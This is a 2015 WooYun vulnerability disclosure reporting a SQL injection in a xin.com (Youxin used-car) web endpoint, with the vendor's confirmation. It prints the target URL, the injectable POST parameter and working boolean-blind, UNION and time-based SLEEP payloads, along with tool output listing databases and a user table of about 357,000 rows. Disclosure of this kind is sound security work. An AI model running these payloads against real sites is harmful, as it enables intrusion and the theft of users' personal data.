当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143812

漏洞标题:优信二手车某站sql注入漏洞2(可泄漏35万+用户信息)

相关厂商:xin.com

漏洞作者: 撸撸侠

提交时间:2015-10-27 02:13

修复时间:2015-12-11 16:14

公开时间:2015-12-11 16:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

优信二手车某站sql注入漏洞2(可泄漏34万用户信息)

详细说明:

http://huodong.xin.com:8888/ajax/top_load/
data:ename=nanjing

Place: POST
Parameter: ename
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ename=nanjing') AND 4097=4097 AND ('EZvb'='EZvb
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: ename=-4045') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175797071,0x534472585447486b5965,0x7173636c71),NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ename=nanjing') AND SLEEP(5) AND ('VCSh'='VCSh
---
[23:52:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.14
back-end DBMS: MySQL 5.0.11
[23:52:58] [INFO] fetching database names
[23:52:58] [INFO] the SQL query used returns 4 entries
[23:52:59] [INFO] retrieved: "information_schema"
[23:52:59] [INFO] retrieved: "car_model_partner"
[23:52:59] [INFO] retrieved: "test"
[23:52:59] [INFO] retrieved: "xin"
available databases [4]:
[*] car_model_partner
[*] information_schema
[*] test
[*] xin

漏洞证明:

Place: POST
Parameter: ename
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ename=nanjing') AND 4097=4097 AND ('EZvb'='EZvb
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: ename=-4045') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175797071,0x534472585447486b5965,0x7173636c71),NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ename=nanjing') AND SLEEP(5) AND ('VCSh'='VCSh
---
[23:56:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.42
back-end DBMS: MySQL 5.0.11
Database: xin
+--------+---------+
| Table | Entries |
+--------+---------+
| `user` | 357683 |
+--------+---------+

修复方案:

版权声明:转载请注明来源 撸撸侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-27 16:12

厂商回复:

谢谢反馈!正协助修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-12-11 16:17 | 法官 ( 路人 | Rank:2 漏洞数:1 | 法官阁下)

    wooyun就是专门让厂商下线不重要的系统。。。修复都省了~哈哈哈